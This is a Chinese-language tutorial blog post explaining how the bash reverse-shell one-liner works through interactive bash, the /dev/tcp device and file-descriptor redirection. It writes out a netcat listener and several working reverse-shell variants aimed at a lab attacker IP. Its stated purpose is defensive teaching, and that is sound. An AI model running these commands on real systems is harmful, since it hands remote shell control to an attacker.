作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途



反弹shell解析


bash反弹shell解析

最基础的反弹shell语句,这么久只会用,但不知道其中的奇妙之处

真是妙蛙种子被踢出了米奇妙妙屋。。。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1 

测试环境

nc监听主机

IP:192.168.1.1

nc -lvvp 6666 

进行反弹shell主机

IP:192.168.1.131

拆分语句了解一下

交互式

​bash -i​​是打开一个交互式的bash

马老师什么是交互式?有问,有答,训练有素(也就是有输入有输出)

#查询当前shell命令是哪一种
ls -l /bin/sh

反弹shell--bash一句话解析_bash

#查看是否是交互式
echo $-

反弹shell--bash一句话解析_安全_02

连接设备

/dev/tcp/192.168.1.1/6666

是Linux中的一个特殊设备,也算个文件,打开这个就相当于对指定设备发出了一个socket连接

使用tcp进行建立socket连接,然后可以读写这个socket连接中的数据。

同理tcp改为udp,就是udp连接。

文件描述符

文件描述符,是用来控制bash命令从哪输入与输出到哪的特殊符号

标准输入(STDIN)     代码0     重定向标准输入     操作符<   默认输入是键盘  标准输出(STDOUT)    代码1    重定向标准输出     操作符>或者>> 默认输出显示器  标准错误输出(STDERR)   代码2      重定向错误标准输出    操作符2>或者2>>   默认输出显示器  重定向标准输出和标准错误输出  操作符&>   将标准输出和错误输出定向到指定位置 
bash -i > /dev/tcp/192.168.1.1/6666
#标准输出重定向为设备,没指定输入,所以默认从键盘输入命令,结果输出到指定的设备(攻击机)

反弹shell--bash一句话解析_重定向_03

bash -i < /dev/tcp/192.168.1.1/6666
#标准输如重定向为设备,没指定标准输出,所以默认从屏幕输出结果,从指定设备(攻击机)输入命令

反弹shell--bash一句话解析_kali_04

bash -i < /dev/tcp/192.168.1.1/6666 > /dev/tcp/192.168.1.1/8888
#由于重定向了标准输如和输出,所以从指定设备(攻击机)6666端口输入指令,从指定设备(攻击机)8888端口输出结果

反弹shell--bash一句话解析_kali_05

代码2的标准错误输出又是啥?看下面俩语句:

bash -i > /dev/tcp/192.168.1.1/6666
bash -i 2> /dev/tcp/192.168.1.1/6666

第一个语句是标准输出重定向到设备,也就是命令语句成功执行,返回的结果在指定设备显示

第二个语句是标准错误输出重定向到设备,是命令执行失败,返回的报错显示在指定设备

第二句比方:输入ifconfig,成功执行,不会将结果显示在攻击机;输入ipconfig,执行失败,将执行失败返回的报错显示在攻击机。

合并输入输出

当然在使用的是,不管是正确错误,我们都想在指定设备输出,就可以使用合并

n>&m  将输出文件n重定向到m
n<&m 将输入文件n重定向到m

单独​​>&​​这个意思是重定向标准输出和标准错误输出到指定设备

和​​2>&1​​基本一样,但略有不同

bash -i 2>&1 > /dev/tcp/192.168.1.1/6666
bash -i > /dev/tcp/192.168.1.1/6666 2>&1

注意上面两个的差别:

1原本是屏幕,2也是屏幕,2定向到1还是屏幕,1然后定向到设备,2不会跟着1定向所以还是屏幕。

1原本是屏幕,定向到设备变成了设备,2又定向到1,所以跟着就定向到设备。


这点细微的差距有什么区别呢?

第一个语句,如果当你输入一条错误指令,会在被攻击主机显示报错内容

反弹shell--bash一句话解析_反弹shell_06

第二个语句,不管你正确错误,都会显示在指定设备上
反弹shell--bash一句话解析_安全_07


然后输入与输出合并

bash -i > /dev/tcp/192.168.1.1/6666 0>&1
bash -i > /dev/tcp/192.168.1.1/6666 0<&1

1定向到设备,0是键盘,0定向到1,也就是定向到了设备

就成了我们要的结果,指定设备(攻击机)进行输入,指定设备(攻击机)进行输出

反弹shell--bash一句话解析_kali_08

大合并

懂了原理,反弹语句就千变万化了,只要全定向到设备就ok了。

bash -i >& /dev/tcp/192.168.1.1/6666 0>&1 bash -i > /dev/tcp/192.168.1.1/6666 2>&1 0>&1 bash -i < /dev/tcp/192.168.1.1/6666 2>&0 1>&0